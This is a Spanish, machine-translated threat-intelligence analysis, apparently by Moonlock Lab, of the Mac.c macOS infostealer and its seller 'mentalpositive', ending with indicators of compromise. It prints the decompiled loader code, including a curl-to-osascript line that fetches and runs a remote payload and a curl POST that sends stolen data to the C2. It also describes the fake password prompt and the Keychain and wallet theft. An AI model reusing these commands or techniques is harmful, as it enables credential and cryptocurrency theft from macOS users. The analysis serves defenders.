La historia del ladrón de Mac.c no comienza con una campaña importante o violación. Comienza en los rincones de los foros de darknet, donde apareció por primera vez un actor de amenaza llamado "mentalpositivo", llamando la atención con un conjunto de rasgos inusuales que lo diferencian de otros desarrolladores de ladrones. Ya podemos ver que es un nuevo actor aprovechando un mercado de malware de macOS que sigue siendo mucho menos saturado que su homólogo de Windows, marcando el surgimiento de la nueva ola de actores de amenazas que son tanto técnicamente cualificados como comercialmente ambiciosos. LunaLoco Aunque sólo ha estado activo recientemente, Mac.c ya está compitiendo con operaciones de ladrones más grandes y más establecidas como Si bien emprende mucho de AMOS y A medida que se añaden más URL a su infraestructura de comandos y controles, Mac.c parece ser parte de un ecosistema subterráneo más grande dirigido a los usuarios de macOS. Desarrollo de macOS Stealer Rodolfo4 Lo que también destaca es un enfoque metódico y inusualmente transparente para construir en público. actualizaciones de progreso "mental positivas" compartidas e incluso feedback recopilado sobre las ediciones de Mac.c - un nivel sorprendente de apertura en el mundo típicamente secreto del desarrollo de malware de macOS. En este artículo, rastreamos la evolución de Mac.c, desempacamos las tácticas de mentalpositive y examinamos cómo este ladrón se ajusta al paisaje más amplio de amenazas dirigidas a las plataformas de Apple. Un nuevo jugador en el mercado Hace unos cuatro meses, Moonlock Lab notó por primera vez la aparición del ladrón de Mac.c y lo atribuyó a un desarrollador bajo el alias "mentalpositivo". Al igual que otros actores de amenazas, "mentalpositivo" adopta tendencias recientes en el desarrollo de malware: arquitectura modular para el uso en diferentes campañas, técnicas avanzadas de obstrución y infraestructuras de comando y control (C2) cada vez más complejas. Sin embargo, el perfil de destino y el alcance de la exfiltración de datos del Mac.c de mentalpositive se destacan. Recoge credenciales de iCloud Keychain, contraseñas almacenadas en el navegador, carteras de criptografía, metadatos del sistema e incluso archivos de ubicaciones específicas en macOS - todo usando credenciales obtenidas a través de phishing. Construir en público Más allá del diseño técnico, "mentalpositivo" mostró comportamiento inusual en los foros de darknet.En el transcurso de varios meses, este actor de amenazas usó un foro subterráneo para mostrar actualizaciones incrementales a Mac.c, interactuar con usuarios potenciales y solicitar activamente comentarios. Tal publicidad puede señalar una intención de aumentar la visibilidad y esculpir una presencia distinta en el mercado. También parece poner las bases para un modelo de negocio personalizado de ladrón como servicio dirigido exclusivamente al nicho de amenazas de macOS. Las capturas de pantalla a continuación muestran cómo los mensajes del foro evolucionaron con el tiempo a medida que se anunciaron nuevas características.Dado que los mensajes originales fueron escritos en ruso, hemos incluido una breve explicación para cada uno. Más tarde, mentalpositive compartió una descripción detallada de las características de Mac.c. Según ellos, algunas de las actualizaciones más notables incluyeron: reemplazo de la aplicación original Ledger Live, reducción del tamaño binario del archivo (para una descarga más rápida y potencialmente menos detectables artefactos a través de análisis estático), y optimización del panel administrativo. En este contexto, un panel se refiere a una interfaz basada en la web para los clientes "mentalpositivos", los compradores del ladrón de Mac.c. Permite generar ediciones de malware, rastrear infecciones (incluidos intentos exitosos y fallidos), y gestionar otros detalles de la campaña. Como se mencionó anteriormente, 'mentalpositive' actualizó con frecuencia su tema del foro para mantener a los clientes potenciales involucrados mostrando que el desarrollo está en curso. A continuación se muestra un ejemplo de tal actualización, donde el actor de amenaza afirma haber probado la última versión del ladrón contra las versiones de macOS por encima de 10.12.6. Tox y Jabber. Telegrama Y por último, el post más reciente en el momento de escribir describe actualizaciones adicionales. Estas incluyen el paso de XProtect generando ediciones únicas desde cero, una lista ampliada de navegadores soportados, activación del grabador de archivos a través del panel de control y, más notablemente, un módulo separado para phishing de frases de semillas de Trezor. Similar al módulo Ledger Live existente, esta nueva característica está disponible para un pago adicional de $1,000. Similaridades con Amos Curiosamente, algunos desarrolladores detrás de los ladrones competidores han cuestionado la originalidad del código Mac.c, lo que sugiere que podría ser una versión modificada del conocido Atomic macOS Stealer. Moonlock Lab analizó y comparó las últimas cargas de beneficios de ambos ladrones, y AMOS está cubierto en detalle en Mientras que los dos comparten porciones de código idéntico, la funcionalidad implementada por 'mentalpositive' es significativamente más limitada. Uno de nuestros últimos artículos (Resaltado en color rojo) AMOS SHA256: 54b9576aad25d54d703adb9a26feaa5d80f44b94731ff8ecff7cf1ebc15cf3ff Primero visto en el desierto: 2025-06-19 20:18:55 ' (Highlighted en color verde) mentalpositive SHA256: 7dfd77f09a90d8d01a7d74a84685645622ae87a90b5dd72a5750daac9195c467 Primero visto en el desierto: 2025-07-01 15:41:49 Una inspección detallada revela una reutilización sustancial del código a nivel de funciones entre Mac.c y Atomic macOS Stealer. En varios casos, las funciones parecen haber sido copiadas verbalmente o con modificaciones mínimas, lo que sugiere un origen de desarrollo compartido o un préstamo directo de código. Funcionalmente, ambos ladrones comparten un conjunto de características casi idéntico diseñado para el robo integral de datos en los sistemas macOS. En ambos casos, estas capacidades se ejecutan utilizando herramientas y scripts nativos de macOS, minimizando dependencias externas y mejorando la evasión. A pesar de sus internos compartidos, AMOS introduce avances significativos en persistencia, modularidad y orientación.La tabla siguiente destaca características únicas para cada ladrón: Mientras que Mac.c funciona como un ladrón compacto y no persistente basado en AppleScript, Atomic macOS Stealer representa una amenaza más avanzada, persistente y modular de la misma filosofía de diseño. El alto grado de reutilización del código plantea preguntas importantes sobre la atribución, la disponibilidad del constructor y la posible colaboración dentro de los círculos de desarrollo de malware de macOS.Mientras que la herramienta de 'mentalpositivo' puede ser más nueva, no es completamente original - y AMOS sigue siendo la variante de ladrón más capaz y peligrosa observada en el campo hoy en día. Cómo funciona el Mac.c Stealer Ya se ha mencionado en Desde entonces, su dominio operativo no ha cambiado: https://lagkill[.]cc. Almacena archivos PHP utilizados para rastrear víctimas y algunos procedimientos de exfiltración. 'mentalpositive' Artículo anteriorMoonlock Lab Este dominio tiene relaciones con varios archivos Mach-O, pero en general el flujo de trabajo se puede resumir en 2 etapas: Mach-O inicial ejecutable y AppleScript carga útil. Fase 1: Mach-O inicialmente ejecutable El ladrón Mac.c emplea una estrategia de ejecución en varias etapas, con su primera etapa actuando como un cargador ligero responsable de la implementación oculta, la saneamiento ambiental y la entrega controlada de la próxima carga útil. A continuación se muestra una descripción detallada de esta etapa, basada en la ingeniería inversa de la muestra 90309fc3b90df1d7b6d7d747c5afa63fca6262721ce39c34da4b13901d53b919a3. undefined8 entry(void) { pid_t pVar1; int res; char cmd [1024]; char id [56]; undefined7 url_C2; undefined4 uStack_29; long local_20; local_20 = *(long *)PTR____stack_chk_guard_100001008; pVar1 = _fork(); if (-1 < pVar1) { if (pVar1 != 0) { LAB_100000e59: if (*(long *)PTR____stack_chk_guard_100001008 == local_20) { return 0; } ___stack_chk_fail(); } pVar1 = _setsid(); if (-1 < pVar1) { _freopen("/dev/null","r",*(FILE **)PTR____stdinp_100001018); _freopen("/dev/null","w",*(FILE **)PTR____stdoutp_100001020); _freopen("/dev/null","w",*(FILE **)PTR____stderrp_100001010); /* SandBox protection */ _system("killall Terminal"); /* Create C2: lagkill.cc */ url_C2 = 0x6c6c696b67616c; uStack_29 = 0x63632e; builtin_strncpy(id + 0x20,"3f2ffd13c8",0xb); builtin_strncpy(id + 0x10,"592960231c11198d",0x10); builtin_strncpy(id,"17508488681a0237",0x10); /* Run upload and run applescript stealer logic: curl -s https://lagkill.cc/src.php?txd=17508488681a0237592960231c11198d3f2ffd13c8 | osascript */ _snprintf(cmd,0x400,"curl -s https://%s/src.php?txd=%s | osascript"); res = _system(cmd); if (res == 0) { /* Run upload to lagkill.cc*/ _snprintf(cmd,0x400, "curl -X POST -H \"cl: 0\" --max-time 300 -F \"file=@/tmp/osalogging.zip\" -F \"bu ildtxd=%s\" https://%s/" ,id,&url_C2); res = _system(cmd); if (res == 0) goto LAB_100000e59; } } } _exit(1); } El punto de entrada de Mac.c (entry()) comienza forjando el proceso actual y creando una nueva sesión a través de setsid(), efectivamente desmonizándose. Además, observamos una funcionalidad básica que redirecciona todos los flujos de entrada, salida y error estándar a /dev/null usando freopen(). El malware codifica el dominio de comandos y control (C2) como: lagkill[.]cc. También genera un identificador de víctima único concatenando varias cadenas hexadecimales estáticas. La acción clave en esta etapa es recuperar y ejecutar un AppleScript remoto. Esto se logra mediante la cadena curl y osascript para descargar y ejecutar inmediatamente la carga útil: curl -s https://lagkill[.]cc/src.php?txd=<victim_id> | osascript Este método permite al atacante actualizar la carga útil de forma dinámica sin modificar el cargador, lo que dificulta la atribución debido al camino de ejecución indirecto. Después de la ejecución de AppleScript (que probablemente realice el robo de datos local), el cargador verifica el éxito y procede a exfiltrar un archivo ZIP de nuevo al mismo servidor C2: curl -X POST -H "cl: 0" --max-time 300 -F "file=@/tmp/osalogging.zip" -F "buildtxd=<victim_id>" https://lagkill[.]cc/ Esta carga se envía utilizando encabezados personalizados (cl: 0) y un tiempo generoso para acomodar sistemas más lentos, lo que sugiere una atención cuidadosa a la estabilidad operativa. Etapa 2: AppleScript Payload La segunda etapa del ladrón de Mac.c es donde comienza el daño real. Una carga útil de AppleScript armona las capacidades de scripting nativo de macOS para extraer una amplia gama de datos sensibles. A continuación, dividimos las tácticas de la carga útil de la segunda etapa por categoría. Credential theft & CLI abuse El script lanza una falsa solicitud de sistema que solicita la contraseña del usuario. Esto se almacena en plaintext y se reutiliza más tarde. Más tarde, invoca silenciosamente la utilidad de seguridad CLI para extraer credenciales guardadas de Keychain, específicamente dirigidas a Google Chrome y las aplicaciones basadas en Chromium. Los datos recuperados se escriben en /tmp/<random>/Password. Esta táctica de phishing aprovecha la confianza nativa y las interfaces familiares de macOS para evitar el escepticismo del usuario. Browser and extensions data theft Los navegadores dirigidos incluyen Chrome, Edge, Brave y Yandex. Los archivos extraídos incluyen: datos de inicio de sesión, cookies, datos web, almacenamiento IndexedDB. Finalmente, el guión itera a través de cientos de extensiones de billetera de criptografía conocidas, como MetaMask, Phantom y Binance Wallet, y extrae archivos de almacenamiento local o artefactos de sesión. Todo lote relacionado con el navegador está organizado en /tmp/<random>/Browsers/. Hot wallet and crypto app harvesting La carga útil escanea la presencia de carteras de criptografía de escritorio populares, incluyendo: Electrón El exilio Coinomi Atómico Monero Wasabi Ledger en vivo Los datos relevantes como los archivos de cartera y las bases de datos de configuración (por ejemplo, los directorios LevelDB) se copian en /tmp/<random>/Cryptowallets/. Esto indica una clara motivación financiera, con el objetivo adaptado a la base de usuarios entusiastas de criptografía de macOS. File-grabber and its logic Para maximizar el valor de inteligencia al tiempo que se minimiza la huella, el script hace lo siguiente: Busca recursivamente las carpetas Desktop, Documents y Downloads del usuario. Filtros para los tipos de archivos de alto valor: .wallet, .seed, .txt, .keys, .pdf, .docx. Implica un límite de tamaño de archivo ~10MB. Este enfoque prioriza los archivos de bajo ruido y de alta señal que incluyen frases de semilla potenciales, claves de recuperación y PDFs sensibles. Collection of messaging and app artifacts Mac.c copia la carpeta tdata, que puede incluir tokens de sesión activos o mensajes en caché (aquellos que están conectados a Telegram). Los archivos de configuración de las aplicaciones Binance y Ton Keeper también se copian, ofreciendo información sobre el uso de la cartera, los patrones de inicio de sesión o las claves almacenadas. Utilización típica de system_profiler para recopilar datos de hardware, macOS y pantalla. Este amplio escrutinio sugiere una intención de reconstruir el contexto del usuario, no sólo exfiltrar activos. Archiving and exfiltration Todos los datos recopilados se organizan en un directorio temporal estructurado /tmp/<random>/. Usando ditto -c -k, la herramienta de archivo nativa de macOS, todo el directorio se zippa en /tmp/osalogging.zip. Después del archivo, la carga útil sale. No hay monitoreo de fondo o ejecución repetida. Este diseño efímero, enfocado a la ocultación, apunta a una operación rápida de rompimiento y captura, probablemente destinada al acceso de un solo uso o como parte de una cadena de infecciones más grande. Estrategia de phishing Una técnica particularmente engañosa utilizada en la carga útil de la segunda etapa de 'mentalpositive' involucra una falsa solicitud de sistema disfrazada como una solicitud de permiso de juego. Especificamente, Mac.c invoca un diálogo nativo de AppleScript pidiendo al usuario que introduzca su contraseña de inicio de sesión de macOS para "permitir el juego" para salvar sus archivos”. Las brujas inocentes Además, tales cargas de pago vienen con una etiqueta de construcción ‘inocente’ (o, en algunos casos, ‘inocente’), probablemente utilizada para identificar infecciones vinculadas a esta campaña específica. Por último, el dominio probablemente alquilado específicamente para esta campaña es innocentwitches[.]top. Mientras que la URL de origen redirecciona a Google, también incluye una ruta /upload.php, lo que permite al actor de la amenaza recibir datos robados. Conclusiones A medida que los ordenadores Mac continúan aumentando en popularidad entre los usuarios promedio y los propietarios de criptomonedas en particular, esperamos que los ladrones crezcan no solo en su capacidad, sino en su cuota de mercado y impacto. Mac.c no es un caso aislado, sino parte de una tendencia creciente hacia el desarrollo de malware profesional de macOS. Si bien reutiliza las funciones clave y los elementos arquitectónicos del popular Atomic Stealer, también aporta novedad a los ladrones de macOS y los sitúa en una trayectoria distinta. Lo que podemos estar presenciando es el surgimiento de un nuevo modelo de negocio: el ladrón como servicio, dirigido específicamente a los usuarios de macOS y que se está desgranando de la industria del malware como servicio más amplia.Aunque Atomic Stealer sigue siendo una variante más peligrosa, podría ser sólo una cuestión de tiempo cuando nuevos jugadores ambiciosos utilicen su legado para construir un producto de malware más robusto y más accesible. IOC https://innocentwitches[.]com/upload.php https://lagkill[.]cc/src.php 7dfd77f09a90d8d01a7d74a84a685645622ae87a90b5dd72a5750daac9195c467 33e9b605406ffb779dc912a1ce66436a8867b88e087bc34b2b2b2fca2160b64ca7 57b86903c46cf45c968aa9618c0a45eb135e05b24c13c0d27442d4387de37319 61f6b48e8433f6bf212c06157bead662f1833b72671b8f832ff3af032fdc4582